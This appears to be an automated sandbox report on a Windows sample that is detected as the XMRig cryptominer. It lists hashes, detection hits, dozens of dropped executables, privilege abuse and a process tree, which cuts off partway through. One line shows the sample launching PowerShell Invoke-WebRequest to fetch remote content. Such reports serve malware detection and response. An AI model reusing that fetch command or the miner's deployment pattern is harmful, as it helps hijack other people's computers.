xmrig | fdf871883b7c87905d66e011d42678ae3df89f47f341d800dfa24c7ea0744f80

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 22:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1d9e0834e394c7ad82318603f641be70N.exe
Size

2.5MB
MD5

1d9e0834e394c7ad82318603f641be70
SHA1

de795a6f3145204b48fb6f4d07bc9742dd3f6df5
SHA256

fdf871883b7c87905d66e011d42678ae3df89f47f341d800dfa24c7ea0744f80
SHA512

2106fd60db1f300ca54d3d6a1c45fbce709ea7e35665304ccf68249daa41473678613a084c08e728c6e567db9187f3318af1ffe20d32fa947427fdd9f99fba0b
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTle1tHJG:NABT

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 20 IoCs

miner

resource	yara_rule
behavioral1/memory/2316-8-0x000000013F570000-0x000000013F962000-memory.dmp	xmrig
behavioral1/memory/2316-47-0x000000013F570000-0x000000013F962000-memory.dmp	xmrig
behavioral1/memory/2712-76-0x000000013FE10000-0x0000000140202000-memory.dmp	xmrig
behavioral1/memory/2180-92-0x0000000003480000-0x0000000003872000-memory.dmp	xmrig
behavioral1/memory/2840-86-0x000000013F730000-0x000000013FB22000-memory.dmp	xmrig
behavioral1/memory/2408-62-0x000000013FAE0000-0x000000013FED2000-memory.dmp	xmrig
behavioral1/memory/2736-60-0x000000013FCD0000-0x00000001400C2000-memory.dmp	xmrig
behavioral1/memory/2076-97-0x000000013F5A0000-0x000000013F992000-memory.dmp	xmrig
behavioral1/memory/2180-45-0x000000013FB50000-0x000000013FF42000-memory.dmp	xmrig
behavioral1/memory/2860-199-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2712-4162-0x000000013FE10000-0x0000000140202000-memory.dmp	xmrig
behavioral1/memory/2736-4161-0x000000013FCD0000-0x00000001400C2000-memory.dmp	xmrig
behavioral1/memory/2204-4276-0x000000013F400000-0x000000013F7F2000-memory.dmp	xmrig
behavioral1/memory/1908-4272-0x000000013F960000-0x000000013FD52000-memory.dmp	xmrig
behavioral1/memory/2408-4270-0x000000013FAE0000-0x000000013FED2000-memory.dmp	xmrig
behavioral1/memory/2076-4323-0x000000013F5A0000-0x000000013F992000-memory.dmp	xmrig
behavioral1/memory/2860-4322-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2316-4364-0x000000013F570000-0x000000013F962000-memory.dmp	xmrig
behavioral1/memory/1660-4321-0x000000013FD70000-0x0000000140162000-memory.dmp	xmrig
behavioral1/memory/2840-4320-0x000000013F730000-0x000000013FB22000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2964	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2316	nTLXShM.exe
2408	XvWCHiC.exe
2712	atEYnXL.exe
2840	mbQJoqX.exe
2860	gBQZutI.exe
2204	TVlbpZS.exe
2736	yJkgmcB.exe
1908	SSEfBgZ.exe
1660	fhEmWsD.exe
2076	MHWeiKe.exe
2360	LbWGQEm.exe
2448	zNPuJOB.exe
1012	BkQsRFo.exe
2020	fdjflMa.exe
2096	eUamCEb.exe
1384	vLDEBFN.exe
1636	DmxsqrM.exe
1552	zZjYdEy.exe
2776	aBuNxwA.exe
2044	jwCcyjs.exe
2804	WKkGoiM.exe
3044	ATZIWKZ.exe
1996	qbRDnYu.exe
1944	itvtESl.exe
2288	KPHVXmi.exe
1556	NxOcjdD.exe
2552	rstmfUd.exe
1212	zkWCjuG.exe
1704	PeeqGMK.exe
1488	OPZrfIr.exe
1224	ZtxAoWe.exe
576	FmfqWPE.exe
536	uQrEpKt.exe
1500	nixzDzM.exe
888	XZoTSFI.exe
3036	CIytnpb.exe
2652	qTFKFOT.exe
1540	qJHUfRq.exe
2728	NLrFUOF.exe
2576	ZJVnium.exe
2916	kCMSrxc.exe
1716	hOKUkWq.exe
1676	BewCLUe.exe
3032	ryWNbnH.exe
1656	bifgYFs.exe
1252	rUifwNG.exe
856	KzIDBlL.exe
2696	ezrusIF.exe
2456	DHkmfnH.exe
1380	fCwyUSG.exe
2352	sxBcMNF.exe
2888	MJxJNpI.exe
2036	TIEuvGZ.exe
3056	NalCckr.exe
1204	bSiiZse.exe
1880	TCvjFht.exe
1560	QWRoVXt.exe
2200	aLvULSX.exe
2172	rQOsrEj.exe
1276	KQNPAly.exe
2756	iYbXuHX.exe
2060	nIgcdGe.exe
2284	FqWLPDi.exe
2056	pxbpzfq.exe

Loads dropped DLL 64 IoCs

pid	Process
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe
2180	1d9e0834e394c7ad82318603f641be70N.exe

UPX packed file 62 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2180-5-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/files/0x000a00000001227c-2.dat	upx
behavioral1/memory/2316-8-0x000000013F570000-0x000000013F962000-memory.dmp	upx
behavioral1/files/0x0008000000016cae-10.dat	upx
behavioral1/files/0x0008000000016cdb-16.dat	upx
behavioral1/memory/2180-21-0x0000000003480000-0x0000000003872000-memory.dmp	upx
behavioral1/files/0x0007000000016d19-37.dat	upx
behavioral1/files/0x0009000000016d2a-49.dat	upx
behavioral1/memory/2204-48-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/memory/2316-47-0x000000013F570000-0x000000013F962000-memory.dmp	upx
behavioral1/files/0x000f0000000054a8-46.dat	upx
behavioral1/files/0x00060000000175cc-66.dat	upx
behavioral1/files/0x00060000000175f0-73.dat	upx
behavioral1/files/0x00050000000186f7-80.dat	upx
behavioral1/memory/2712-76-0x000000013FE10000-0x0000000140202000-memory.dmp	upx
behavioral1/memory/1908-63-0x000000013F960000-0x000000013FD52000-memory.dmp	upx
behavioral1/files/0x000500000001872a-107.dat	upx
behavioral1/files/0x0005000000018780-125.dat	upx
behavioral1/files/0x0005000000018736-120.dat	upx
behavioral1/memory/2840-86-0x000000013F730000-0x000000013FB22000-memory.dmp	upx
behavioral1/files/0x000500000001871e-85.dat	upx
behavioral1/files/0x00050000000186f3-77.dat	upx
behavioral1/memory/1660-72-0x000000013FD70000-0x0000000140162000-memory.dmp	upx
behavioral1/files/0x00060000000175d0-69.dat	upx
behavioral1/memory/2408-62-0x000000013FAE0000-0x000000013FED2000-memory.dmp	upx
behavioral1/files/0x0008000000016d32-61.dat	upx
behavioral1/memory/2736-60-0x000000013FCD0000-0x00000001400C2000-memory.dmp	upx
behavioral1/files/0x0006000000018b83-132.dat	upx
behavioral1/files/0x0006000000018bd2-148.dat	upx
behavioral1/files/0x000500000001927c-159.dat	upx
behavioral1/files/0x000500000001938f-174.dat	upx
behavioral1/files/0x000500000001941e-181.dat	upx
behavioral1/files/0x000500000001944b-186.dat	upx
behavioral1/files/0x0005000000019354-166.dat	upx
behavioral1/files/0x0006000000018b00-143.dat	upx
behavioral1/files/0x0009000000016c49-141.dat	upx
behavioral1/files/0x0006000000018bcd-135.dat	upx
behavioral1/files/0x000500000001872e-114.dat	upx
behavioral1/memory/2076-97-0x000000013F5A0000-0x000000013F992000-memory.dmp	upx
behavioral1/memory/2180-45-0x000000013FB50000-0x000000013FF42000-memory.dmp	upx
behavioral1/memory/2860-43-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/files/0x000600000001902b-152.dat	upx
behavioral1/files/0x0005000000019456-190.dat	upx
behavioral1/files/0x0005000000019431-183.dat	upx
behavioral1/files/0x0005000000019412-176.dat	upx
behavioral1/files/0x0005000000019372-168.dat	upx
behavioral1/files/0x000500000001927e-160.dat	upx
behavioral1/memory/2860-199-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/files/0x000500000001948a-194.dat	upx
behavioral1/memory/2840-32-0x000000013F730000-0x000000013FB22000-memory.dmp	upx
behavioral1/files/0x0007000000016d07-26.dat	upx
behavioral1/memory/2408-15-0x000000013FAE0000-0x000000013FED2000-memory.dmp	upx
behavioral1/memory/2712-4162-0x000000013FE10000-0x0000000140202000-memory.dmp	upx
behavioral1/memory/2736-4161-0x000000013FCD0000-0x00000001400C2000-memory.dmp	upx
behavioral1/memory/2204-4276-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/memory/1908-4272-0x000000013F960000-0x000000013FD52000-memory.dmp	upx
behavioral1/memory/2408-4270-0x000000013FAE0000-0x000000013FED2000-memory.dmp	upx
behavioral1/memory/2076-4323-0x000000013F5A0000-0x000000013F992000-memory.dmp	upx
behavioral1/memory/2860-4322-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/memory/2316-4364-0x000000013F570000-0x000000013F962000-memory.dmp	upx
behavioral1/memory/1660-4321-0x000000013FD70000-0x0000000140162000-memory.dmp	upx
behavioral1/memory/2840-4320-0x000000013F730000-0x000000013FB22000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\VcrGUGj.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\vnbTkcY.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\VyGepxl.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\tIFgBOI.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\uWFBlvO.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\HoiSuaN.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\ueguHfw.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\aOADwOX.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\MlqqkKm.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\FvHRhYw.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\jHVvvWW.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\lZlYNIV.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\kEqhuez.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\MvIjblK.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\dRjMtEO.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\tSHsAiJ.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\yjgJeAF.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\wfnxOdB.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\VhgRFCB.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\tIsnqcC.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\xBKOmsP.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\hpdjyLA.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\kUfvufi.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\WKkGoiM.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\kiLZePO.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\zpdBEBk.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\PKHkKKv.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\mIkmkEw.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\KEgbgyV.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\fExPlag.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\PyLfdnY.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\DOxOqpJ.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\RHHfQBw.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\HXeNTjE.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\IdZvjsq.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\gBaGNYE.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\KMVmNle.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\LRCZGDm.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\XRvSLlK.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\jpQcGVQ.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\ZqBajEH.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\bmxbHcb.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\NlqQZNZ.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\zwPHxDU.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\wfqpaCT.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\bjYEhVp.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\lXLOnPP.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\mRlsfvp.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\eSFblsb.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\fgsrwjH.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\lClEVMZ.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\zhSOyYu.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\ShqhSfV.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\VzlvCiR.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\OXzFhSW.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\TZGEyDs.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\bbxanND.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\rUNNXxI.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\HRJhMOg.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\LkHrDyB.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\cqIFmNh.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\uhDbyrD.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\UFbnaSf.exe	1d9e0834e394c7ad82318603f641be70N.exe
File created	C:\Windows\System\JModfPU.exe	1d9e0834e394c7ad82318603f641be70N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2180	1d9e0834e394c7ad82318603f641be70N.exe
Token: SeLockMemoryPrivilege	2180	1d9e0834e394c7ad82318603f641be70N.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2964	2180	1d9e0834e394c7ad82318603f641be70N.exe	32
PID 2180 wrote to memory of 2964	2180	1d9e0834e394c7ad82318603f641be70N.exe	32
PID 2180 wrote to memory of 2964	2180	1d9e0834e394c7ad82318603f641be70N.exe	32
PID 2180 wrote to memory of 2316	2180	1d9e0834e394c7ad82318603f641be70N.exe	33
PID 2180 wrote to memory of 2316	2180	1d9e0834e394c7ad82318603f641be70N.exe	33
PID 2180 wrote to memory of 2316	2180	1d9e0834e394c7ad82318603f641be70N.exe	33
PID 2180 wrote to memory of 2408	2180	1d9e0834e394c7ad82318603f641be70N.exe	34
PID 2180 wrote to memory of 2408	2180	1d9e0834e394c7ad82318603f641be70N.exe	34
PID 2180 wrote to memory of 2408	2180	1d9e0834e394c7ad82318603f641be70N.exe	34
PID 2180 wrote to memory of 2712	2180	1d9e0834e394c7ad82318603f641be70N.exe	35
PID 2180 wrote to memory of 2712	2180	1d9e0834e394c7ad82318603f641be70N.exe	35
PID 2180 wrote to memory of 2712	2180	1d9e0834e394c7ad82318603f641be70N.exe	35
PID 2180 wrote to memory of 2840	2180	1d9e0834e394c7ad82318603f641be70N.exe	36
PID 2180 wrote to memory of 2840	2180	1d9e0834e394c7ad82318603f641be70N.exe	36
PID 2180 wrote to memory of 2840	2180	1d9e0834e394c7ad82318603f641be70N.exe	36
PID 2180 wrote to memory of 2860	2180	1d9e0834e394c7ad82318603f641be70N.exe	37
PID 2180 wrote to memory of 2860	2180	1d9e0834e394c7ad82318603f641be70N.exe	37
PID 2180 wrote to memory of 2860	2180	1d9e0834e394c7ad82318603f641be70N.exe	37
PID 2180 wrote to memory of 2204	2180	1d9e0834e394c7ad82318603f641be70N.exe	38
PID 2180 wrote to memory of 2204	2180	1d9e0834e394c7ad82318603f641be70N.exe	38
PID 2180 wrote to memory of 2204	2180	1d9e0834e394c7ad82318603f641be70N.exe	38
PID 2180 wrote to memory of 2736	2180	1d9e0834e394c7ad82318603f641be70N.exe	39
PID 2180 wrote to memory of 2736	2180	1d9e0834e394c7ad82318603f641be70N.exe	39
PID 2180 wrote to memory of 2736	2180	1d9e0834e394c7ad82318603f641be70N.exe	39
PID 2180 wrote to memory of 1908	2180	1d9e0834e394c7ad82318603f641be70N.exe	40
PID 2180 wrote to memory of 1908	2180	1d9e0834e394c7ad82318603f641be70N.exe	40
PID 2180 wrote to memory of 1908	2180	1d9e0834e394c7ad82318603f641be70N.exe	40
PID 2180 wrote to memory of 1660	2180	1d9e0834e394c7ad82318603f641be70N.exe	41
PID 2180 wrote to memory of 1660	2180	1d9e0834e394c7ad82318603f641be70N.exe	41
PID 2180 wrote to memory of 1660	2180	1d9e0834e394c7ad82318603f641be70N.exe	41
PID 2180 wrote to memory of 2448	2180	1d9e0834e394c7ad82318603f641be70N.exe	42
PID 2180 wrote to memory of 2448	2180	1d9e0834e394c7ad82318603f641be70N.exe	42
PID 2180 wrote to memory of 2448	2180	1d9e0834e394c7ad82318603f641be70N.exe	42
PID 2180 wrote to memory of 2076	2180	1d9e0834e394c7ad82318603f641be70N.exe	43
PID 2180 wrote to memory of 2076	2180	1d9e0834e394c7ad82318603f641be70N.exe	43
PID 2180 wrote to memory of 2076	2180	1d9e0834e394c7ad82318603f641be70N.exe	43
PID 2180 wrote to memory of 1012	2180	1d9e0834e394c7ad82318603f641be70N.exe	44
PID 2180 wrote to memory of 1012	2180	1d9e0834e394c7ad82318603f641be70N.exe	44
PID 2180 wrote to memory of 1012	2180	1d9e0834e394c7ad82318603f641be70N.exe	44
PID 2180 wrote to memory of 2360	2180	1d9e0834e394c7ad82318603f641be70N.exe	45
PID 2180 wrote to memory of 2360	2180	1d9e0834e394c7ad82318603f641be70N.exe	45
PID 2180 wrote to memory of 2360	2180	1d9e0834e394c7ad82318603f641be70N.exe	45
PID 2180 wrote to memory of 2020	2180	1d9e0834e394c7ad82318603f641be70N.exe	46
PID 2180 wrote to memory of 2020	2180	1d9e0834e394c7ad82318603f641be70N.exe	46
PID 2180 wrote to memory of 2020	2180	1d9e0834e394c7ad82318603f641be70N.exe	46
PID 2180 wrote to memory of 2096	2180	1d9e0834e394c7ad82318603f641be70N.exe	47
PID 2180 wrote to memory of 2096	2180	1d9e0834e394c7ad82318603f641be70N.exe	47
PID 2180 wrote to memory of 2096	2180	1d9e0834e394c7ad82318603f641be70N.exe	47
PID 2180 wrote to memory of 1384	2180	1d9e0834e394c7ad82318603f641be70N.exe	48
PID 2180 wrote to memory of 1384	2180	1d9e0834e394c7ad82318603f641be70N.exe	48
PID 2180 wrote to memory of 1384	2180	1d9e0834e394c7ad82318603f641be70N.exe	48
PID 2180 wrote to memory of 1636	2180	1d9e0834e394c7ad82318603f641be70N.exe	49
PID 2180 wrote to memory of 1636	2180	1d9e0834e394c7ad82318603f641be70N.exe	49
PID 2180 wrote to memory of 1636	2180	1d9e0834e394c7ad82318603f641be70N.exe	49
PID 2180 wrote to memory of 2044	2180	1d9e0834e394c7ad82318603f641be70N.exe	50
PID 2180 wrote to memory of 2044	2180	1d9e0834e394c7ad82318603f641be70N.exe	50
PID 2180 wrote to memory of 2044	2180	1d9e0834e394c7ad82318603f641be70N.exe	50
PID 2180 wrote to memory of 1552	2180	1d9e0834e394c7ad82318603f641be70N.exe	51
PID 2180 wrote to memory of 1552	2180	1d9e0834e394c7ad82318603f641be70N.exe	51
PID 2180 wrote to memory of 1552	2180	1d9e0834e394c7ad82318603f641be70N.exe	51
PID 2180 wrote to memory of 2804	2180	1d9e0834e394c7ad82318603f641be70N.exe	52
PID 2180 wrote to memory of 2804	2180	1d9e0834e394c7ad82318603f641be70N.exe	52
PID 2180 wrote to memory of 2804	2180	1d9e0834e394c7ad82318603f641be70N.exe	52
PID 2180 wrote to memory of 2776	2180	1d9e0834e394c7ad82318603f641be70N.exe	53

C:\Users\Admin\AppData\Local\Temp\1d9e0834e394c7ad82318603f641be70N.exe
"C:\Users\Admin\AppData\Local\Temp\1d9e0834e394c7ad82318603f641be70N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\System\nTLXShM.exe
  C:\Windows\System\nTLXShM.exe
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Windows\System\XvWCHiC.exe
  C:\Windows\System\XvWCHiC.exe
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Windows\System\atEYnXL.exe
  C:\Windows\System\atEYnXL.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\mbQJoqX.exe
  C:\Windows\System\mbQJoqX.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Windows\System\gBQZutI.exe
  C:\Windows\System\gBQZutI.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\TVlbpZS.exe
  C:\Windows\System\TVlbpZS.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\yJkgmcB.exe
  C:\Windows\System\yJkgmcB.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\SSEfBgZ.exe
  C:\Windows\System\SSEfBgZ.exe
  2⤵
  - Executes dropped EXE
  PID:1908
- C:\Windows\System\fhEmWsD.exe
  C:\Windows\System\fhEmWsD.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\zNPuJOB.exe
  C:\Windows\System\zNPuJOB.exe
  2⤵
  - Executes dropped EXE
  PID:2448
- C:\Windows\System\MHWeiKe.exe
  C:\Windows\System\MHWeiKe.exe
  2⤵
  - Executes dropped EXE
  PID:2076
- C:\Windows\System\BkQsRFo.exe
  C:\Windows\System\BkQsRFo.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\LbWGQEm.exe
  C:\Windows\System\LbWGQEm.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\fdjflMa.exe
  C:\Windows\System\fdjflMa.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\eUamCEb.exe
  C:\Windows\System\eUamCEb.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\vLDEBFN.exe
  C:\Windows\System\vLDEBFN.exe
  2⤵
  - Executes dropped EXE
  PID:1384
- C:\Windows\System\DmxsqrM.exe
  C:\Windows\System\DmxsqrM.exe
  2⤵
  - Executes dropped EXE
  PID:1636
- C:\Windows\System\jwCcyjs.exe
  C:\Windows\System\jwCcyjs.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\zZjYdEy.exe
  C:\Windows\System\zZjYdEy.exe
  2⤵
  - Executes dropped EXE
  PID:1552
- C:\Windows\System\WKkGoiM.exe
  C:\Windows\System\WKkGoiM.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\aBuNxwA.exe
  C:\Windows\System\aBuNxwA.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\ATZIWKZ.exe
  C:\Windows\System\ATZIWKZ.exe
  2⤵
  - Executes dropped EXE
  PID:3044
- C:\Windows\System\qbRDnYu.exe
  C:\Windows\System\qbRDnYu.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\itvtESl.exe
  C:\Windows\System\itvtESl.exe
  2⤵
  - Executes dropped EXE
  PID:1944
- C:\Windows\System\KPHVXmi.exe
  C:\Windows\System\KPHVXmi.exe
  2⤵
  - Executes dropped EXE
  PID:2288
- C:\Windows\System\TCvjFht.exe
  C:\Windows\System\TCvjFht.exe
  2⤵
  - Executes dropped EXE
  PID:1880
- C:\Windows\System\NxOcjdD.exe
  C:\Windows\System\NxOcjdD.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\QWRoVXt.exe
  C:\Windows\System\QWRoVXt.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\rstmfUd.exe
  C:\Windows\System\rstmfUd.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\aLvULSX.exe
  C:\Windows\System\aLvULSX.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\zkWCjuG.exe
  C:\Windows\System\zkWCjuG.exe
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Windows\System\rQOsrEj.exe
  C:\Windows\System\rQOsrEj.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\PeeqGMK.exe
